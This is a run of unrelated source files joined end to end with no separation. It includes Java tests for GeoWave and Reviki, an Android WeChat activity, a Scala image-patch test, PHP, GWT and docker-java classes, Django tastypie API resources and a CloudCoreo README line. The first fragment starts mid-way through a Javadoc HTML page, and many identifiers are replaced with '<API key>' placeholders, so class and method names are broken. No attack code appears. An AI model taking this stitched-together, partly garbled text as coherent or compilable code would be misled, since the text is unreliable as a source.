"block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip-navbar_top"> </a></div> <div class="header"> <h2 title="Uses of Class org.apache.hadoop.hbase.<API key>" class="title">Uses of Class<br>org.apache.hadoop.hbase.<API key></h2> </div> <div class="classUseContainer">No usage of org.apache.hadoop.hbase.<API key></div> <div class="bottomNav"><a name="navbar_bottom"> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="<API key>"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/apache/hadoop/hbase/<API key>.html" title="class in org.apache.hadoop.hbase">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/hadoop/hbase/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip-navbar_bottom"> </a></div> <p class="legalCopy"><small>Copyright & </body> </html>
package org.locationtech.geowave.datastore.accumulo; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Arrays; import org.apache.accumulo.core.client.AccumuloException; import org.apache.accumulo.core.client.<API key>; import org.apache.accumulo.core.client.Connector; import org.apache.accumulo.core.client.mock.MockInstance; import org.apache.accumulo.core.client.security.tokens.PasswordToken; import org.apache.commons.lang3.tuple.Pair; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.locationtech.geowave.core.geotime.index.dimension.LatitudeDefinition; import org.locationtech.geowave.core.geotime.index.dimension.LongitudeDefinition; import org.locationtech.geowave.core.geotime.ingest.<API key>; import org.locationtech.geowave.core.geotime.ingest.SpatialOptions; import org.locationtech.geowave.core.geotime.store.query.<API key>; import org.locationtech.geowave.core.index.InsertionIds; import org.locationtech.geowave.core.index.<API key>; import org.locationtech.geowave.core.index.StringUtils; import org.locationtech.geowave.core.index.dimension.<API key>; import org.locationtech.geowave.core.index.sfc.SFCFactory.SFCType; import org.locationtech.geowave.core.index.sfc.tiered.<API key>; import org.locationtech.geowave.core.store.CloseableIterator; import org.locationtech.geowave.core.store.adapter.<API key>; import org.locationtech.geowave.core.store.adapter.statistics.CountDataStatistics; import org.locationtech.geowave.core.store.adapter.statistics.DataStatisticsStore; import org.locationtech.geowave.core.store.api.DataStore; import org.locationtech.geowave.core.store.api.DataTypeAdapter; import org.locationtech.geowave.core.store.api.Index; import org.locationtech.geowave.core.store.api.QueryBuilder; import org.locationtech.geowave.core.store.api.Writer; import org.locationtech.geowave.core.store.base.BaseDataStore; import org.locationtech.geowave.core.store.index.CommonIndexModel; import org.locationtech.geowave.core.store.index.IndexImpl; import org.locationtech.geowave.core.store.metadata.<API key>; import org.locationtech.geowave.core.store.query.constraints.DataIdQuery; import org.locationtech.geowave.core.store.query.constraints.InsertionIdQuery; import org.locationtech.geowave.core.store.query.constraints.PrefixIdQuery; import org.locationtech.geowave.datastore.accumulo.<API key>.TestGeometry; import org.locationtech.geowave.datastore.accumulo.<API key>.TestGeometryAdapter; import org.locationtech.geowave.datastore.accumulo.cli.config.AccumuloOptions; import org.locationtech.geowave.datastore.accumulo.operations.AccumuloOperations; import org.locationtech.jts.geom.Coordinate; import org.locationtech.jts.geom.Envelope; import org.locationtech.jts.geom.GeometryFactory; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class DeleteWriterTest { private static final Logger LOGGER = LoggerFactory.getLogger(DeleteWriterTest.class); private AccumuloOperations operations; private DataStore mockDataStore; private InsertionIds rowIds1; private InsertionIds rowIds3; private DataTypeAdapter<<API key>.TestGeometry> adapter; private DataStatisticsStore statsStore; <API key> <API key>; protected AccumuloOptions options = new AccumuloOptions(); private static final CommonIndexModel MODEL = new <API key>().createIndex(new SpatialOptions()).getIndexModel(); private static final <API key>[] SPATIAL_DIMENSIONS = new <API key>[] {new LongitudeDefinition(), new LatitudeDefinition()}; private static final <API key> STRATEGY = <API key>.<API key>( SPATIAL_DIMENSIONS, new int[] {16, 16}, SFCType.HILBERT); final SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.S"); private static final Index index = new IndexImpl(STRATEGY, MODEL); protected static final String <API key> = "Ge0wave"; protected static final String HADOOP_WINDOWS_UTIL = "winutils.exe"; protected static final String HADOOP_DLL = "hadoop.dll"; // breaks on windows if temp directory isn't on same drive as project protected static final File TEMP_DIR = new File("./target/accumulo_temp"); protected String zookeeper; // just increment port so there is no potential conflict protected static int port = 2181; @Before public void setUp() throws IOException, <API key>, AccumuloException, <API key> { Connector mockConnector; mockConnector = new MockInstance().getConnector("root", new PasswordToken(new byte[0])); operations = new AccumuloOperations(mockConnector, options); operations.createTable("test_table", true, true); mockDataStore = new AccumuloDataStore(operations, options); <API key> = new <API key>(operations); statsStore = ((AccumuloDataStore) mockDataStore).getStatisticsStore(); adapter = new TestGeometryAdapter(); final GeometryFactory factory = new GeometryFactory(); mockDataStore.addType(adapter, index); try (Writer indexWriter = mockDataStore.createWriter(adapter.getTypeName())) { rowIds1 = indexWriter.write( new <API key>.TestGeometry( factory.createLineString( new Coordinate[] { new Coordinate(43.444, 28.232), new Coordinate(43.454, 28.242), new Coordinate(43.444, 28.252), new Coordinate(43.444, 28.232),}), "test_line_1")).<API key>(index.getName()); indexWriter.write( new <API key>.TestGeometry( factory.createLineString( new Coordinate[] { new Coordinate(43.444, 28.232), new Coordinate(43.454, 28.242), new Coordinate(43.444, 28.252), new Coordinate(43.444, 28.232),}), "test_line_2")); rowIds3 = indexWriter.write( new <API key>.TestGeometry( factory.createPoint(new Coordinate(-77.0352, 38.8895)), "test_pt_1")).<API key>(index.getName()); } } @After public void tearDown() {} @Test public void <API key>() throws IOException { final short internalAdapterId = <API key>.getAdapterId(adapter.getTypeName()); CountDataStatistics countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(3, countStats.getCount()); assertTrue(rowIds1.getSize() > 1); final Pair<byte[], byte[]> key = rowIds1.<API key>(); try (final CloseableIterator it1 = mockDataStore.query( QueryBuilder.newBuilder().addTypeName(adapter.getTypeName()).indexName( index.getName()).constraints( new InsertionIdQuery( key.getLeft(), key.getRight(), StringUtils.stringToBinary("test_line_1"))).build())) { assertTrue(it1.hasNext()); } assertTrue( mockDataStore.delete( QueryBuilder.newBuilder().addTypeName(adapter.getTypeName()).indexName( index.getName()).constraints( new DataIdQuery(StringUtils.stringToBinary("test_pt_1"))).build())); try (final CloseableIterator it2 = mockDataStore.query( QueryBuilder.newBuilder().addTypeName(adapter.getTypeName()).indexName( index.getName()).constraints( new InsertionIdQuery( key.getLeft(), key.getRight(), StringUtils.stringToBinary("test_pt_1"))).build())) { assertTrue(!it2.hasNext()); } countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(2, countStats.getCount()); } @Test public void <API key>() throws IOException { final short internalAdapterId = <API key>.getAdapterId(adapter.getTypeName()); CountDataStatistics countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(3, countStats.getCount()); final <API key> spatialQuery = new <API key>(new GeometryFactory().toGeometry(new Envelope(-78, -77, 38, 39))); try (final CloseableIterator it1 = mockDataStore.query(QueryBuilder.newBuilder().constraints(spatialQuery).build())) { assertTrue(it1.hasNext()); assertTrue( StringUtils.stringFromBinary(adapter.getDataId((TestGeometry) it1.next())).equals( "test_pt_1")); } assertTrue(mockDataStore.delete(QueryBuilder.newBuilder().constraints(spatialQuery).build())); try (final CloseableIterator it2 = mockDataStore.query(QueryBuilder.newBuilder().constraints(spatialQuery).build())) { assertTrue(!it2.hasNext()); } countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(2, countStats.getCount()); } @Test public void <API key>() throws IOException { final short internalAdapterId = <API key>.getAdapterId(adapter.getTypeName()); CountDataStatistics countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(3, countStats.getCount()); final Pair<byte[], byte[]> rowId3 = rowIds3.<API key>(); // just take the first half of the row ID as the prefix final byte[] rowId3Prefix = Arrays.copyOf(rowId3.getRight(), rowId3.getRight().length / 2); final PrefixIdQuery prefixIdQuery = new PrefixIdQuery(rowId3.getLeft(), rowId3Prefix); try (final CloseableIterator it1 = mockDataStore.query(QueryBuilder.newBuilder().constraints(prefixIdQuery).build())) { assertTrue(it1.hasNext()); assertTrue( StringUtils.stringFromBinary(adapter.getDataId((TestGeometry) it1.next())).equals( "test_pt_1")); assertFalse(it1.hasNext()); } assertTrue(mockDataStore.delete(QueryBuilder.newBuilder().constraints(prefixIdQuery).build())); try (final CloseableIterator it2 = mockDataStore.query(QueryBuilder.newBuilder().constraints(prefixIdQuery).build())) { assertTrue(!it2.hasNext()); } countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(2, countStats.getCount()); } @Test public void testDeleteByDataId() throws IOException { final short internalAdapterId = <API key>.getAdapterId(adapter.getTypeName()); CountDataStatistics countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(3, countStats.getCount()); assertTrue(rowIds1.getSize() > 1); try (final CloseableIterator it1 = mockDataStore.query( QueryBuilder.newBuilder().addTypeName(adapter.getTypeName()).indexName( index.getName()).constraints( new DataIdQuery(StringUtils.stringToBinary("test_pt_1"))).build())) { assertTrue(it1.hasNext()); } assertTrue( ((BaseDataStore) mockDataStore).delete( QueryBuilder.newBuilder().addTypeName(adapter.getTypeName()).indexName( index.getName()).constraints( new DataIdQuery(StringUtils.stringToBinary("test_pt_1"))).build())); try (final CloseableIterator it2 = mockDataStore.query( QueryBuilder.newBuilder().addTypeName(adapter.getTypeName()).indexName( index.getName()).constraints( new DataIdQuery(StringUtils.stringToBinary("test_pt_1"))).build())) { assertTrue(!it2.hasNext()); } countStats = (CountDataStatistics) statsStore.getDataStatistics( internalAdapterId, CountDataStatistics.STATS_TYPE).next(); assertEquals(2, countStats.getCount()); } }
package com.joy.app.wxapi; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log; import com.android.library.utils.LogMgr; import com.joy.library.share.ShareConstant; import com.tencent.mm.sdk.modelbase.BaseReq; import com.tencent.mm.sdk.modelbase.BaseResp; import com.tencent.mm.sdk.openapi.IWXAPI; import com.tencent.mm.sdk.openapi.IWXAPIEventHandler; import com.tencent.mm.sdk.openapi.WXAPIFactory; public class WXEntryActivity extends Activity implements IWXAPIEventHandler { private IWXAPI api; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); register(getIntent()); } private void register(Intent intent) { if (api == null) { api = WXAPIFactory.createWXAPI(this, ShareConstant.getIns().getWeixinAppid(), false); api.registerApp(ShareConstant.getIns().getWeixinAppid()); } api.handleIntent(intent, this); } @Override protected void onNewIntent(Intent intent) { super.onNewIntent(intent); register(intent); } @Override public void onReq(BaseReq baseReq) { Log.d("WXEntryActivity"," onReq " + baseReq.toString()); finish(); } @Override public void onResp(BaseResp baseResp) { Log.d("WXEntryActivity"," onResp " + baseResp.errStr + " " + baseResp.errCode); finish(); } }
package keystoneml.nodes.images import org.scalatest.FunSuite import keystoneml.pipelines.Logging import keystoneml.utils.{<API key>, ImageMetadata, TestUtils} class <API key> extends FunSuite with Logging { test("check number and dimension of patches") { val image = TestUtils.loadTestImage("images/000012.jpg") val xDim = image.metadata.xDim val yDim = image.metadata.yDim val patchSizeX = xDim / 2 val patchSizeY = yDim / 2 val withFlipPatcher = CenterCornerPatcher(patchSizeX, patchSizeY, true) val withFlipPatches = withFlipPatcher.<API key>(image).toSeq assert(withFlipPatches.map(_.metadata.xDim).forall(_ == patchSizeX) && withFlipPatches.map(_.metadata.yDim).forall(_ == patchSizeY) && withFlipPatches.map(_.metadata.numChannels).forall(_ == image.metadata.numChannels), "All patches must have right dimensions") assert(withFlipPatches.size === 10, "Number of patches must match") val noFlipPatcher = CenterCornerPatcher(patchSizeX, patchSizeY, false) val noFlipPatches = noFlipPatcher.<API key>(image).toSeq assert(noFlipPatches.map(_.metadata.xDim).forall(_ == patchSizeX) && noFlipPatches.map(_.metadata.yDim).forall(_ == patchSizeY) && noFlipPatches.map(_.metadata.numChannels).forall(_ == image.metadata.numChannels), "All patches must have right dimensions") assert(noFlipPatches.size === 5, "Number of patches must match") } test("1x1 image patches") { val imgArr = (0 until 5).flatMap { x => (0 until 5).flatMap { y => (0 until 1).map { c => (c + x * 1 + y * 5 * 1).toDouble } } }.toArray val image = new <API key>(imgArr, ImageMetadata(5, 5, 1)) val patchSizeX = 1 val patchSizeY = 1 val noFlipPatcher = CenterCornerPatcher(patchSizeX, patchSizeY, false) val noFlipPatches = noFlipPatcher.<API key>(image).toSeq assert(noFlipPatches.length === 5) // NOTE(shivaram): This assumes order of patches returned stays the same. assert(noFlipPatches(0).get(0, 0, 0) === 0.0) assert(noFlipPatches(1).get(0, 0, 0) === 20.0) assert(noFlipPatches(2).get(0, 0, 0) === 4.0) assert(noFlipPatches(3).get(0, 0, 0) === 24.0) assert(noFlipPatches(4).get(0, 0, 0) === 12.0) } }
'use strict'; var _ = require('lodash'); module.exports = _.extend( require('./character/opcodes'), require('./user/opcodes'), require('./map/opcodes') );
<?php class ErrorController extends BackedController { public function actionIndex() { if($error=Yii::app()->errorHandler->error) { if(Yii::app()->request->isAjaxRequest) echo $error['message']; else $this->renderpartial('index', $error); } } }
package com.google.gwt.filereader.client; import com.google.gwt.core.client.JavaScriptObject; import com.google.gwt.file.client.Blob; public class FileReader extends JavaScriptObject { protected FileReader() { } /** * No data has been loaded yet. */ public static final int EMPTY = 0; /** * Data is currently being loaded. */ public static final int LOADING = 1; /** * The entire read request has been completed. */ public static final int DONE = 2; /** * Create new FileReader object. * * @return new FileReader object */ public static native FileReader create() /*-{ return new $wnd.FileReader(); }-*/; /** * Called when the File is read successfully. * * @param handler */ public final native void addLoadHandler(LoadHandler handler)/*-{ this.onload = $entry(function(e) { handler.@com.google.gwt.filereader.client.LoadHandler::onLoad(Lcom/google/gwt/file/client/File;)(e.target); }); }-*/; /** * Add handler to abort event. * @param handler */ public final native void addAbortHandler(AbortHandler handler)/*-{ this.abort = $entry(function(e) { handler.@com.google.gwt.filereader.client.AbortHandler::onAbort(Lcom/google/gwt/file/client/File;)(e.target); }); }-*/; public final native void addErrorHandler(ErrorHandler handler)/*-{ this.onerror = $entry(function(e) { handler.@com.google.gwt.filereader.client.ErrorHandler::onError(Lcom/google/gwt/file/client/File;Lcom/google/gwt/file/client/FileError;)(e.target,e); }); }-*/; /** * Called when the read has successfully completed. * * @param handler */ public final native void addProgressHandler(ProgressHandler handler)/*-{ // this.onloadend = $entry(function(e) { // //$wnd.console.log('loadEnd',e); // }); this.onprogress = $entry(function(e) { var loaded = 0, total = 0; if (e.lengthComputable) { loaded = e.loaded || 0; total = e.total || 0; } handler.@com.google.gwt.filereader.client.ProgressHandler::onProgress(Lcom/google/gwt/file/client/File;DD)(e.target,loaded,total); }); }-*/; /** * Abort file read. It's cause onError to be inited with code 3 * {@link FileError.ABORT_ERR} */ public final native void abort()/*-{ this.abort(); }-*/; public final native void readAsArrayBuffer(Blob file)/*-{ this.readAsArrayBuffer(file); }-*/; public final native void readAsBinaryString(Blob file)/*-{ this.readAsBinaryString(file); }-*/; public final native void readAsText(Blob file)/*-{ this.readAsText(file); }-*/; public final native void readAsText(Blob file, String encoding)/*-{ this.readAsText(file, encoding); }-*/; public final native void readAsDataURL(Blob file)/*-{ this.readAsDataURL(file); }-*/; }
package org.codehaus.plexus.archiver.filters; import java.io.InputStream; import org.codehaus.plexus.archiver.ArchiveFileFilter; import org.codehaus.plexus.util.SelectorUtils; /** * @deprecated Use {@link <API key>} */ @Deprecated public class <API key> implements ArchiveFileFilter { public static final String[] <API key> = <API key>.<API key>; @Override public boolean include( InputStream dataStream, String entryName ) { for ( String pattern : <API key> ) { if ( SelectorUtils.match( pattern, entryName ) ) { return false; } } return true; } }
package net.hillsdon.reviki.web.pages.impl; import static org.easymock.EasyMock.createMock; import static org.easymock.EasyMock.expect; import static org.easymock.EasyMock.verify; import static org.easymock.EasyMock.eq; import java.util.Collections; import java.util.Date; import javax.servlet.http.HttpServletResponse; import junit.framework.TestCase; import net.hillsdon.fij.text.Strings; import net.hillsdon.reviki.vc.PageReference; import net.hillsdon.reviki.vc.PageStore; import net.hillsdon.reviki.vc.PageStoreException; import net.hillsdon.reviki.vc.impl.CachingPageStore; import net.hillsdon.reviki.vc.impl.PageInfoImpl; import net.hillsdon.reviki.vc.impl.<API key>; import net.hillsdon.reviki.vc.impl.PageReferenceImpl; import net.hillsdon.reviki.web.common.ConsumedPath; import net.hillsdon.reviki.web.common.JspView; import net.hillsdon.reviki.web.common.<API key>; import net.hillsdon.reviki.web.common.RequestAttributes; import net.hillsdon.reviki.web.pages.DiffGenerator; import net.hillsdon.reviki.web.urls.WikiUrls; import net.hillsdon.reviki.wiki.feeds.FeedWriter; import net.hillsdon.reviki.wiki.graph.WikiGraph; import net.hillsdon.reviki.wiki.renderer.HtmlRenderer; import net.hillsdon.reviki.wiki.renderer.RendererRegistry; import net.hillsdon.reviki.wiki.renderer.creole.ast.*; import org.easymock.EasyMock; import com.google.common.collect.ImmutableList; /** * @author pjt * */ public class <API key> extends TestCase { private static final String LOCK_TOKEN = "dooby"; private static final PageReference THE_PAGE = new PageReferenceImpl("ThePage"); private <API key> _request; private HttpServletResponse _response; private DefaultPageImpl _page; private CachingPageStore _store; private PageStore _pageStore; private HtmlRenderer _renderer; private RendererRegistry _renderers; private WikiGraph _graph; private DiffGenerator _diffGenerator; private WikiUrls _wikiUrls; private FeedWriter _feedWriter; private <API key> _pageInfo; private static final String USERNAME = "user"; @Override protected void setUp() throws Exception { _request = new <API key>(); _response = null; _store = createMock(CachingPageStore.class); _pageStore = createMock(PageStore.class); _pageInfo = new <API key>("wiki", "ThePage", "content", 0, 0, "user", new Date(), "user", LOCK_TOKEN, null); _renderer = new HtmlRenderer(_pageStore, null, null, null); _renderers = new RendererRegistry(_renderer); _graph = createMock(WikiGraph.class); _diffGenerator = createMock(DiffGenerator.class); _wikiUrls = createMock(WikiUrls.class); _feedWriter = createMock(FeedWriter.class); _page = new DefaultPageImpl(null, _store, _renderers, _graph, _diffGenerator, _wikiUrls, _feedWriter); expect(_store.getUnderlying()).andStubReturn(_pageStore); } private ASTNode mkResult(String content) { return new Page(ImmutableList.of((ASTNode) new Paragraph(new Inline(ImmutableList.of((ASTNode) new Plaintext(content)))))); } private void replay() { EasyMock.replay(_store); EasyMock.replay(_pageStore); EasyMock.replay(_graph); EasyMock.replay(_diffGenerator); EasyMock.replay(_wikiUrls); EasyMock.replay(_feedWriter); } public void <API key>() throws Exception { _request.setParameter(DefaultPageImpl.PARAM_LOCK_TOKEN, LOCK_TOKEN); _request.setParameter(DefaultPageImpl.PARAM_CONTENT, "malicious content!"); _request.setParameter(DefaultPageImpl.PARAM_ATTRIBUTES, ""); _request.setParameter(DefaultPageImpl.<API key>, ""); _request.setAttribute(RequestAttributes.USERNAME, USERNAME); _request.setParameter(DefaultPageImpl.SUBMIT_PREVIEW, ""); _request.setParameter(DefaultPageImpl.PARAM_SESSION_ID, <API key>.MOCK_SESSION_ID + "AAA"); expectTryToLock(); expect(_diffGenerator.getDiffMarkup("content", "malicious content!" + Strings.CRLF)).andReturn("difference"); replay(); final JspView view = (JspView) _page.editor(THE_PAGE, ConsumedPath.EMPTY, _request, _response); final String preview = (String) _request.getAttribute(DefaultPageImpl.ATTR_PREVIEW); assertTrue("EditPage".equals(view.getName())); assertTrue(preview == null || preview.length() == 0); verify(); } private void expectTryToLock() throws PageStoreException { // Not ideal that we lock twice but simple and only in an error case. expect(_pageStore.tryToLock(THE_PAGE)).andReturn(_pageInfo).atLeastOnce(); } public void <API key>() throws Exception { _request.setParameter(DefaultPageImpl.PARAM_LOCK_TOKEN, LOCK_TOKEN); _request.setParameter(DefaultPageImpl.PARAM_CONTENT, "new content"); _request.setParameter(DefaultPageImpl.PARAM_ATTRIBUTES, ""); _request.setParameter(DefaultPageImpl.<API key>, ""); _request.setAttribute(RequestAttributes.USERNAME, USERNAME); _request.setParameter(DefaultPageImpl.SUBMIT_PREVIEW, ""); _request.setParameter(DefaultPageImpl.PARAM_SESSION_ID, <API key>.MOCK_SESSION_ID); assertTrue(_renderer.parse(new PageInfoImpl("", THE_PAGE.getPath(), "rendered preview" + Strings.CRLF, Collections.<String, String>emptyMap())).equals(mkResult("rendered preview"))); expect(_diffGenerator.getDiffMarkup(eq("content"), eq("new content" + Strings.CRLF))).andReturn("rendered diff"); expectTryToLock(); replay(); _page.editor(THE_PAGE, ConsumedPath.EMPTY, _request, _response); final String diff = (String) _request.getAttribute(DefaultPageImpl.ATTR_MARKED_UP_DIFF); assertEquals("rendered diff", diff); } }
from django.contrib.auth.models import User from django.conf import settings from django.conf.urls.defaults import url from django.shortcuts import get_object_or_404 from tastypie.resources import ModelResource from tastypie import fields from tastypie.authorization import Authorization from utils import <API key> as Authentication from hortee.tracktor.models import * def date_to_timestamp(date): """Rough and ready datetime to timestamp converter Precision to the millisecond """ import time return int(time.mktime(date.timetuple()) * 1000) class UserResource(ModelResource): """Api resource for django.contrib.auth.models.User """ class Meta: queryset = User.objects.all() resource_name = 'user' fields = ['username', 'first_name', 'last_name'] allowed_methods = ['get', 'put'] authorization = Authorization() authentication = Authentication() filtering = { 'username': ('exact'), } def override_urls(self): return [ url(r"^(?P<resource_name>%s)/(?P<username>[\w\d_.-]+)/$" % \ self._meta.resource_name, self.wrap_view('dispatch_detail'), name="api_dispatch_detail"), ] class PlotResource(ModelResource): """Api resource for tracktor.models.Plot """ owners = fields.ManyToManyField(UserResource, 'owners') def get_object_list(self, request): """Restrict to Plots owned by user """ object_list = self._meta.queryset if request and hasattr(request, 'user'): object_list = object_list.filter(owners=request.user) return object_list class Meta: queryset = Plot.objects.all() authorization = Authorization() authentication = Authentication() class ActorResource(ModelResource): """Api resource for tracktor.models.Actor """ plot = fields.ForeignKey(PlotResource, 'plot') def obj_create(self, *args, **kwargs): """Add logged in user as author """ if kwargs.has_key('request'): kwargs['author'] = kwargs['request'].user return super(ActorResource, self).obj_create(*args, **kwargs) def obj_update(self, *args, **kwargs): """Add logged in user as author """ if kwargs.has_key('request'): kwargs['author'] = kwargs['request'].user return super(ActorResource, self).obj_update(*args, **kwargs) def get_object_list(self, request): """Restrict to Plots owned by user """ object_list = self._meta.queryset if request and hasattr(request, 'user'): object_list = object_list.filter(plot__owners=request.user) return object_list class Meta: queryset = Actor.objects.all() authorization = Authorization() authentication = Authentication() filtering = { 'plot': ('exact'), } class ActionResource(ModelResource): """Api resource for tracktor.models.Action """ actor = fields.ForeignKey(ActorResource, 'actor') def obj_create(self, *args, **kwargs): """Add logged in user as author """ if kwargs.has_key('request'): kwargs['author'] = kwargs['request'].user return super(ActionResource, self).obj_create(*args, **kwargs) def obj_update(self, *args, **kwargs): """Add logged in user as author """ if kwargs.has_key('request'): kwargs['author'] = kwargs['request'].user return super(ActionResource, self).obj_update(*args, **kwargs) def get_object_list(self, request): """Restrict to Plots owned by user """ object_list = self._meta.queryset return object_list.filter(actor__plot__owners=request.user) def dehydrate(self, bundle): bundle.data['date'] = date_to_timestamp(bundle.data['date']) return bundle class Meta: queryset = Action.objects.all() authorization = Authorization() authentication = Authentication() filtering = { 'actor': ('exact'), }
package com.github.dockerjava.client.command; import javax.ws.rs.<API key>; import javax.ws.rs.core.MediaType; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.github.dockerjava.client.DockerException; import com.github.dockerjava.client.NotFoundException; import com.google.common.base.Preconditions; import javax.ws.rs.client.WebTarget; /** * Inspect the details of a container. */ public class InspectContainerCmd extends AbstrDockerCmd<InspectContainerCmd, <API key>> { private static final Logger LOGGER = LoggerFactory.getLogger(InspectContainerCmd.class); private String containerId; public InspectContainerCmd(String containerId) { withContainerId(containerId); } public String getContainerId() { return containerId; } public InspectContainerCmd withContainerId(String containerId) { Preconditions.checkNotNull(containerId, "containerId was not specified"); this.containerId = containerId; return this; } @Override public String toString() { return "inspect " + containerId; } protected <API key> impl() throws DockerException { WebTarget webResource = baseResource.path("/containers/{id}/json").resolveTemplate("id", containerId); try { LOGGER.trace("GET: {}", webResource); return webResource.request().accept(MediaType.APPLICATION_JSON).get(<API key>.class); } catch (<API key> exception) { if (exception.getResponse().getStatus() == 404) { throw new NotFoundException(String.format("No such container %s", containerId)); } else if (exception.getResponse().getStatus() == 500) { throw new DockerException("Server error", exception); } else { throw new DockerException(exception); } } } }
from __future__ import unicode_literals from django.apps import AppConfig class DirtyDriveConfig(AppConfig): name = 'DirtyDrive'
package org.openntf.domino.rest.resources.frames; import com.ibm.commons.util.io.json.JsonArray; import com.ibm.commons.util.io.json.JsonException; import com.ibm.commons.util.io.json.JsonObject; import com.tinkerpop.frames.EdgeFrame; import com.tinkerpop.frames.VertexFrame; import java.util.Iterator; import java.util.List; import org.openntf.domino.graph2.annotations.FramedEdgeList; import org.openntf.domino.graph2.annotations.FramedVertexList; import org.openntf.domino.graph2.impl.<API key>; import org.openntf.domino.rest.service.Parameters.ParamMap; public class <API key> implements JsonArray { protected static class <API key> implements Iterator<Object> { protected final <API key> parent_; protected final Iterator<Object> iterator_; public <API key>(<API key> parent) { parent_ = parent; iterator_ = parent.getList().iterator(); } @Override public boolean hasNext() { return iterator_.hasNext(); } @Override public Object next() { Object raw = iterator_.next(); if (raw == null) { return null; } else if (raw instanceof VertexFrame) { return new JsonFrameAdapter(parent_.getGraph(), (VertexFrame) raw, parent_.getParamMap(), parent_.isCollectionRoute_); } else if (raw instanceof EdgeFrame) { return new JsonFrameAdapter(parent_.getGraph(), (EdgeFrame) raw, parent_.getParamMap(), parent_.isCollectionRoute_); } else { throw new <API key>("Iterator returned a " + raw.getClass().getName()); } } @Override public void remove() { iterator_.remove(); } } protected <API key><?> graph_; protected List<Object> list_; protected ParamMap pm_; protected boolean isVertex_; protected boolean isCollectionRoute_; @SuppressWarnings("unchecked") public <API key>(<API key><?> graph, FramedEdgeList<?> edgeList, ParamMap pm, boolean isCollectionRoute) { graph_ = graph; list_ = (List<Object>) edgeList; pm_ = pm; isVertex_ = false; isCollectionRoute_ = isCollectionRoute; // System.out.println("TEMP DEBUG <API key> created from EdgeList"); } @SuppressWarnings("unchecked") public <API key>(<API key><?> graph, FramedVertexList<?> vertexList, ParamMap pm, boolean isCollectionRoute) { graph_ = graph; list_ = (List<Object>) vertexList; pm_ = pm; isVertex_ = true; isCollectionRoute_ = isCollectionRoute; // System.out.println("TEMP DEBUG <API key> created from VertexList"); } protected <API key><?> getGraph() { return graph_; } protected ParamMap getParamMap() { return pm_; } protected List<Object> getList() { return list_; } protected boolean isVertex() { return isVertex_; } @Override public Iterator<Object> iterator() { return new <API key>(this); } @Override public int length() throws JsonException { return getList().size(); } @Override public Object get(int paramInt) throws JsonException { if (isVertex()) { return new JsonFrameAdapter(getGraph(), (VertexFrame) getList().get(paramInt), getParamMap(), isCollectionRoute_); } else { return new JsonFrameAdapter(getGraph(), (EdgeFrame) getList().get(paramInt), getParamMap(), isCollectionRoute_); } } @Override public String getString(int paramInt) throws JsonException { // TODO Auto-generated method stub return null; } @Override public double getNumber(int paramInt) throws JsonException { // TODO Auto-generated method stub return 0; } @Override public boolean getBoolean(int paramInt) throws JsonException { // TODO Auto-generated method stub return false; } @Override public JsonObject getObject(int paramInt) throws JsonException { return (JsonObject) get(paramInt); } @Override public JsonArray getArray(int paramInt) throws JsonException { // TODO Auto-generated method stub return null; } @Override public void put(int paramInt, Object paramObject) throws JsonException { // TODO Auto-generated method stub } @Override public void putString(int paramInt, String paramString) throws JsonException { // TODO Auto-generated method stub } @Override public void putNumber(int paramInt, double paramDouble) throws JsonException { // TODO Auto-generated method stub } @Override public void putBoolean(int paramInt, boolean paramBoolean) throws JsonException { // TODO Auto-generated method stub } @Override public void putObject(int paramInt, JsonObject paramJsonObject) throws JsonException { // TODO Auto-generated method stub } @Override public void putArray(int paramInt, JsonArray paramJsonArray) throws JsonException { // TODO Auto-generated method stub } @Override public Object remove(int paramInt) throws JsonException { // TODO Auto-generated method stub return null; } @Override public boolean add(Object paramObject) throws JsonException { // TODO Auto-generated method stub return false; } }
This repo is designed to work with CloudCoreo. It will monitor S3 against best practices for you and send a report to the email address designated by the config.yaml AUDIT&#95;AWS&#95;S3&#95;ALERT&#95;RECIPIENT value
